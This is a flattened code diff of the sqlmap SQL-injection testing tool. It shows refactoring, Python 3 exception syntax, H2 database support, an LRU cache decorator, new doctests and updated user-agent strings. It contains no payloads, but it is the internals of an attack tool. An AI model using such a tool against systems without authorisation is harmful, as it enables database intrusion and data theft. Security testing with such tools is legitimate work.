def evaluateCode(code, variables=None): def evaluateCode(code, variables=None):
""" """
Executes given python code given in a string form Executes given python code given in a string form
>>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"]
1
""" """
try: try:
exec(code, variables) exec(code, variables)
except KeyboardInterrupt: except KeyboardInterrupt:
raise raise
except Exception, ex: except Exception as ex:
errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex) errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex)
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@@ -4199,6 +4296,9 @@ def incrementCounter(technique):
def getCounter(technique): def getCounter(technique):
""" """
Returns query counter for a given technique Returns query counter for a given technique
>>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED)
1
""" """
return kb.counters.get(technique, 0) return kb.counters.get(technique, 0)
@@ -4245,7 +4345,7 @@ def decodeHexValue(value, raw=False):
retVal = retVal.decode("utf-16-le") retVal = retVal.decode("utf-16-le")
except UnicodeDecodeError: except UnicodeDecodeError:
pass pass
elif Backend.isDbms(DBMS.HSQLDB): elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2):
try: try:
retVal = retVal.decode("utf-16-be") retVal = retVal.decode("utf-16-be")
except UnicodeDecodeError: except UnicodeDecodeError:
@@ -4303,19 +4403,23 @@ def hashDBWrite(key, value, serialize=False):
Helper function for writing session data to HashDB Helper function for writing session data to HashDB
""" """
_ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) if conf.hashDB:
conf.hashDB.write(_, value, serialize) _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
conf.hashDB.write(_, value, serialize)
def hashDBRetrieve(key, unserialize=False, checkConf=False): def hashDBRetrieve(key, unserialize=False, checkConf=False):
""" """
Helper function for restoring session data from HashDB Helper function for restoring session data from HashDB
""" """
_ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) retVal = None
retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None
if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): if conf.hashDB:
retVal = None _ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None
if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)):
retVal = None
return retVal return retVal
@@ -4361,9 +4465,9 @@ def resetCookieJar(cookieJar):
errMsg = "no valid cookies found" errMsg = "no valid cookies found"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
except cookielib.LoadError, msg: except cookielib.LoadError as ex:
errMsg = "there was a problem loading " errMsg = "there was a problem loading "
errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", str(msg)) errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", getSafeExString(ex))
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
def decloakToTemp(filename): def decloakToTemp(filename):
@@ -4438,6 +4542,9 @@ def zeroDepthSearch(expression, value):
""" """
Searches occurrences of value inside expression at 0-depth level Searches occurrences of value inside expression at 0-depth level
regarding the parentheses regarding the parentheses
>>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:]
'FROM DUAL'
""" """
retVal = [] retVal = []
@@ -4473,7 +4580,7 @@ def pollProcess(process, suppress_errors=False):
Checks for process status (prints . if still running) Checks for process status (prints . if still running)
""" """
while True: while process:
dataToStdout(".") dataToStdout(".")
time.sleep(1) time.sleep(1)
@@ -4547,9 +4654,8 @@ def parseRequestFile(reqFile, checkParams=True):
reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
for match in reqResList: for match in reqResList:
request = match if isinstance(match, basestring) else match.group(0) request = match if isinstance(match, basestring) else match.group(1)
request = re.sub(r"\A[^\w]+", "", request) request = re.sub(r"\A[^\w]+", "", request)
schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
if schemePort: if schemePort:
@@ -4665,7 +4771,7 @@ def parseRequestFile(reqFile, checkParams=True):
try: try:
with openFile(reqFile, "rb") as f: with openFile(reqFile, "rb") as f:
content = f.read() content = f.read()
except (IOError, OSError, MemoryError), ex: except (IOError, OSError, MemoryError) as ex:
errMsg = "something went wrong while trying " errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex)) errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -4684,26 +4790,56 @@ def getSafeExString(ex, encoding=None):
Safe way how to get the proper exception represtation as a string Safe way how to get the proper exception represtation as a string
(Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161')) (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161'))
>>> getSafeExString(Exception('foobar')) >>> getSafeExString(SqlmapBaseException('foobar'))
u'foobar' u'foobar'
""" """
retVal = ex retVal = None
if getattr(ex, "message", None): if getattr(ex, "message", None):
retVal = ex.message retVal = ex.message
elif getattr(ex, "msg", None): elif getattr(ex, "msg", None):
retVal = ex.msg retVal = ex.msg
elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring):
retVal = ex[1]
elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], basestring):
retVal = ex[0]
if retVal is None:
retVal = str(ex)
elif not isinstance(ex, SqlmapBaseException):
retVal = "%s: %s" % (type(ex).__name__, retVal)
return getUnicode(retVal or "", encoding=encoding).strip() return getUnicode(retVal or "", encoding=encoding).strip()
def safeVariableNaming(value): def safeVariableNaming(value):
"""
Returns escaped safe-representation of a given variable name that can be used in Python evaluated code
>>> safeVariableNaming("foo bar")
'foo__SAFE__20bar'
"""
return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value) return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value)
def unsafeVariableNaming(value): def unsafeVariableNaming(value):
"""
Returns unescaped safe-representation of a given variable name
>>> unsafeVariableNaming("foo__SAFE__20bar")
'foo bar'
"""
return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value) return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value)
def firstNotNone(*args): def firstNotNone(*args):
"""
Returns first not-None value from a given list of arguments
>>> firstNotNone(None, None, 1, 2, 3)
1
"""
retVal = None retVal = None
for _ in args: for _ in args:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+37 -1
View File
@@ -1,13 +1,15 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import copy import copy
import types import types
from thirdparty.odict.odict import OrderedDict
class AttribDict(dict): class AttribDict(dict):
""" """
This class defines the sqlmap object, inheriting from Python data This class defines the sqlmap object, inheriting from Python data
@@ -104,3 +106,37 @@ class InjectionDict(AttribDict):
self.dbms = None self.dbms = None
self.dbms_version = None self.dbms_version = None
self.os = None self.os = None
# Reference: https://www.kunxi.org/2014/05/lru-cache-in-python
class LRUDict(object):
def __init__(self, capacity):
self.capacity = capacity
self.cache = OrderedDict()
def __len__(self):
return len(self.cache)
def __contains__(self, key):
return key in self.cache
def __getitem__(self, key):
value = self.cache.pop(key)
self.cache[key] = value
return value
def get(self, key):
return self.__getitem__(key)
def __setitem__(self, key, value):
try:
self.cache.pop(key)
except KeyError:
if len(self.cache) >= self.capacity:
self.cache.popitem(last=False)
self.cache[key] = value
def set(self, key, value):
self.__setitem__(key, value)
def keys(self):
return self.cache.keys()
+24 -5
View File
@@ -1,31 +1,50 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import functools
import hashlib import hashlib
import threading
from lib.core.settings import MAX_CACHE_ITEMS
from lib.core.datatype import LRUDict
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
def cachedmethod(f, cache={}): _lock = threading.Lock()
def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)):
""" """
Method with a cached content Method with a cached content
Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/
""" """
@functools.wraps(f)
def _(*args, **kwargs): def _(*args, **kwargs):
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff
if key not in cache:
cache[key] = f(*args, **kwargs)
return cache[key] try:
with _lock:
result = cache[key]
except KeyError:
result = f(*args, **kwargs)
with _lock:
cache[key] = result
return result
return _ return _
def stackedmethod(f): def stackedmethod(f):
"""
Method using pushValue/popValue functions (fallback function for stack realignment)
"""
@functools.wraps(f)
def _(*args, **kwargs): def _(*args, **kwargs):
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
originalLevel = len(threadData.valueStack) originalLevel = len(threadData.valueStack)
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+7 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -22,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import INFORMIX_ALIASES
FIREBIRD_TYPES = { FIREBIRD_TYPES = {
@@ -195,6 +196,7 @@ DBMS_DICT = {
DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"),
DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
DBMS.H2: (H2_ALIASES, None, None, None),
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
} }
@@ -263,6 +265,10 @@ SQL_STATEMENTS = {
"commit ", "commit ",
"rollback ", "rollback ",
), ),
"SQL administration": (
"set ",
),
} }
POST_HINT_CONTENT_TYPES = { POST_HINT_CONTENT_TYPES = {
+15 -13
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -20,6 +20,7 @@ from lib.core.common import dataToStdout
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import isListLike from lib.core.common import isListLike
from lib.core.common import isMultiThreadMode
from lib.core.common import normalizeUnicode from lib.core.common import normalizeUnicode
from lib.core.common import openFile from lib.core.common import openFile
from lib.core.common import prioritySortColumns from lib.core.common import prioritySortColumns
@@ -47,6 +48,7 @@ from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import VERSION_STRING
from lib.core.settings import WINDOWS_RESERVED_NAMES from lib.core.settings import WINDOWS_RESERVED_NAMES
from thirdparty.magic import magic from thirdparty.magic import magic
@@ -73,16 +75,17 @@ class Dump(object):
if console: if console:
dataToStdout(text) dataToStdout(text)
if kb.get("multiThreadMode"): multiThreadMode = isMultiThreadMode()
if multiThreadMode:
self._lock.acquire() self._lock.acquire()
try: try:
self._outputFP.write(text) self._outputFP.write(text)
except IOError, ex: except IOError as ex:
errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if kb.get("multiThreadMode"): if multiThreadMode:
self._lock.release() self._lock.release()
kb.dataOutputFlag = True kb.dataOutputFlag = True
@@ -98,7 +101,7 @@ class Dump(object):
self._outputFile = os.path.join(conf.outputPath, "log") self._outputFile = os.path.join(conf.outputPath, "log")
try: try:
self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb")
except IOError, ex: except IOError as ex:
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
@@ -109,8 +112,6 @@ class Dump(object):
self._write(data, content_type=content_type) self._write(data, content_type=content_type)
def string(self, header, data, content_type=None, sort=True): def string(self, header, data, content_type=None, sort=True):
kb.stickyLevel = None
if conf.api: if conf.api:
self._write(data, content_type=content_type) self._write(data, content_type=content_type)
return return
@@ -132,7 +133,7 @@ class Dump(object):
if "\n" in _: if "\n" in _:
self._write("%s:\n---\n%s\n---" % (header, _)) self._write("%s:\n---\n%s\n---" % (header, _))
else: else:
self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _)) self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _))
else: else:
self._write("%s:\tNone" % header) self._write("%s:\tNone" % header)
@@ -170,7 +171,7 @@ class Dump(object):
def currentDb(self, data): def currentDb(self, data):
if Backend.isDbms(DBMS.MAXDB): if Backend.isDbms(DBMS.MAXDB):
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
else: else:
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -425,10 +426,10 @@ class Dump(object):
if not os.path.isdir(dumpDbPath): if not os.path.isdir(dumpDbPath):
try: try:
os.makedirs(dumpDbPath) os.makedirs(dumpDbPath)
except Exception, ex: except Exception as ex:
try: try:
tempDir = tempfile.mkdtemp(prefix="sqlmapdb") tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
except IOError, _: except IOError as _:
errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and " errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to " errMsg += "that you have sufficient write permissions to "
@@ -532,6 +533,7 @@ class Dump(object):
elif conf.dumpFormat == DUMP_FORMAT.HTML: elif conf.dumpFormat == DUMP_FORMAT.HTML:
dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n") dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n") dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
@@ -622,8 +624,8 @@ class Dump(object):
with open(filepath, "wb") as f: with open(filepath, "wb") as f:
_ = safechardecode(value, True) _ = safechardecode(value, True)
f.write(_) f.write(_)
except magic.MagicException, err: except magic.MagicException as ex:
logger.debug(str(err)) logger.debug(getSafeExString(ex))
if conf.dumpFormat == DUMP_FORMAT.CSV: if conf.dumpFormat == DUMP_FORMAT.CSV:
if field == fields: if field == fields:
+18 -6
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -43,6 +43,7 @@ class DBMS:
SQLITE = "SQLite" SQLITE = "SQLite"
SYBASE = "Sybase" SYBASE = "Sybase"
HSQLDB = "HSQLDB" HSQLDB = "HSQLDB"
H2 = "H2"
INFORMIX = "Informix" INFORMIX = "Informix"
class DBMS_DIRECTORY_NAME: class DBMS_DIRECTORY_NAME:
@@ -57,6 +58,7 @@ class DBMS_DIRECTORY_NAME:
SQLITE = "sqlite" SQLITE = "sqlite"
SYBASE = "sybase" SYBASE = "sybase"
HSQLDB = "hsqldb" HSQLDB = "hsqldb"
H2 = "h2"
INFORMIX = "informix" INFORMIX = "informix"
class CUSTOM_LOGGING: class CUSTOM_LOGGING:
@@ -154,13 +156,17 @@ class HASH:
# Reference: http://www.zytrax.com/tech/web/mobile_ids.html # Reference: http://www.zytrax.com/tech/web/mobile_ids.html
class MOBILES: class MOBILES:
BLACKBERRY = ("BlackBerry 9900", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+") BLACKBERRY = ("BlackBerry Z10", "Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+")
GALAXY = ("Samsung Galaxy S", "Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1") GALAXY = ("Samsung Galaxy S7", "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36")
HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)")
HTC = ("HTC Sensation", "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30") HTC = ("HTC 10", "Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36")
IPHONE = ("Apple iPhone 4s", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3") HUAWEI = ("Huawei P8", "Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36")
IPHONE = ("Apple iPhone 8", "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1")
LUMIA = ("Microsoft Lumia 950", "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977")
NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19")
NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344")
PIXEL = ("Google Pixel", "Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36")
XIAOMI = ("Xiaomi Mi 3", "Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1")
class PROXY_TYPE: class PROXY_TYPE:
HTTP = "HTTP" HTTP = "HTTP"
@@ -256,6 +262,7 @@ class PAYLOAD:
3: "LIKE single quoted string", 3: "LIKE single quoted string",
4: "Double quoted string", 4: "Double quoted string",
5: "LIKE double quoted string", 5: "LIKE double quoted string",
6: "Identifier (e.g. column name)",
} }
RISK = { RISK = {
@@ -275,6 +282,7 @@ class PAYLOAD:
6: "TOP", 6: "TOP",
7: "Table name", 7: "Table name",
8: "Column name", 8: "Column name",
9: "Pre-WHERE (non-query)",
} }
class METHOD: class METHOD:
@@ -306,7 +314,7 @@ class ADJUST_TIME_DELAY:
NO = 0 NO = 0
YES = 1 YES = 1
class WEB_API: class WEB_PLATFORM:
PHP = "php" PHP = "php"
ASP = "asp" ASP = "asp"
ASPX = "aspx" ASPX = "aspx"
@@ -374,3 +382,7 @@ class TIMEOUT_STATE:
NORMAL = 0 NORMAL = 0
EXCEPTION = 1 EXCEPTION = 1
TIMEOUT = 2 TIMEOUT = 2
class HINT:
PREPEND = 0
APPEND = 1
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+162 -91
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -13,7 +13,6 @@ import os
import random import random
import re import re
import socket import socket
import string
import sys import sys
import tempfile import tempfile
import threading import threading
@@ -33,19 +32,21 @@ from lib.core.common import Backend
from lib.core.common import boldifyMessage from lib.core.common import boldifyMessage
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import decodeStringEscape
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import getUnicode
from lib.core.common import findLocalPort from lib.core.common import findLocalPort
from lib.core.common import findPageForms from lib.core.common import findPageForms
from lib.core.common import getConsoleWidth from lib.core.common import getConsoleWidth
from lib.core.common import getFileItems from lib.core.common import getFileItems
from lib.core.common import getFileType from lib.core.common import getFileType
from lib.core.common import intersect
from lib.core.common import normalizePath from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes from lib.core.common import ntToPosixSlashes
from lib.core.common import openFile from lib.core.common import openFile
from lib.core.common import parseRequestFile from lib.core.common import parseRequestFile
from lib.core.common import parseTargetDirect from lib.core.common import parseTargetDirect
from lib.core.common import parseTargetUrl
from lib.core.common import paths from lib.core.common import paths
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readCachedFileContent from lib.core.common import readCachedFileContent
@@ -83,6 +84,7 @@ from lib.core.enums import PROXY_TYPE
from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import REFLECTIVE_COUNTER
from lib.core.enums import WIZARD from lib.core.enums import WIZARD
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapInstallationException from lib.core.exception import SqlmapInstallationException
@@ -100,11 +102,12 @@ from lib.core.optiondict import optDict
from lib.core.settings import CODECS_LIST_PAGE from lib.core.settings import CODECS_LIST_PAGE
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DBMS_ALIASES from lib.core.settings import DBMS_ALIASES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
